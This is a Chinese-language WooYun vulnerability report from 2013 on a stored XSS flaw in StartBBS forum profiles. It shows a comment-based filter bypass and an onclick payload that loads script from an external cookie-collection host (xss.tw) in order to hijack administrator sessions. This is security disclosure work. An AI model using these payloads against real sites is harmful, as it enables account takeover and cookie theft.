当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046334

漏洞标题:startbbs开源论坛存储型xss可盲打管理员

相关厂商:www.startbbs.com

漏洞作者: 梧桐雨

提交时间:2013-12-18 22:58

修复时间:2014-03-15 22:58

公开时间:2014-03-15 22:58

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-18: 细节已通知厂商并且等待厂商处理中
2013-12-23: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-02-16: 细节向核心白帽子及相关领域专家公开
2014-02-26: 细节向普通白帽子公开
2014-03-08: 细节向实习白帽子公开
2014-03-15: 细节向公众公开

简要描述:

startbbs某处对用户输出过滤不当导致存储型xss

详细说明:

startbbs 采用mvc架构设计。但是在对用户个人资料输入输出过滤不当,导致跨站脚本攻击。
1、目标定位在:

1.jpg


多个用户可以输入的地方,我拿个人网站输入的地方做测试。
先输入" onmouseover=alert(1)
发现被过滤成:

2.jpg


经过测试之后,发现凡是带了onxx的,等号都会被过滤。
这个时候是不是就没办法了呢?非也非也。
经过fuzz之后,发现可以这么绕过:
onmouseover<!---->="alert(1)//

8.jpg


解释下:因为在html里头是用<!---->注释的,刚刚好,这里没有过滤<>字符。因此可以这么绕过。
但是最后在加载js的时候,发现事实远远没有我想的那么简单。
万恶的竟然控制了长度,这个时候就不能用onmouseover,只能采用onclick。
而因为站点采用了jq,因此我们可以这么写
"onclick<!---->=$.getScript('http://xss.tw/5524')
最后问题又来了,我们发现这么写不能触发,原因是多了一个双引号:

3.jpg


非常有意思,我们可以在 $.getScript之前加一个"闭合他。
"onclick<!---->="$.getScript('http://xss.tw/5524')
最后用户点击了我的个人网站之后,就会变成:

5.jpg


可能这里有一个疑问,为什么获取不了数据?
因为最近xss.tw平台cookie数据爆满了,无论是什么数据都会显示为空。。很悲催- -
我们可以看看自己的cookie,是没有httponly的:
证实一下:

7.jpg

漏洞证明:

上面已经写清楚了。。
虽然最后因为xss.tw的原因没有拿到cookie登陆,但是已经证明可以通过这样的方式引入js,并且cookie键值没加httponly,是可以盲打管理员的。

修复方案:

仔细检查下用户输入与输出。白名单过滤。

版权声明:转载请注明来源 梧桐雨@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-03-15 22:58

厂商回复:

漏洞Rank:5 (WooYun评价)

最新状态:

暂无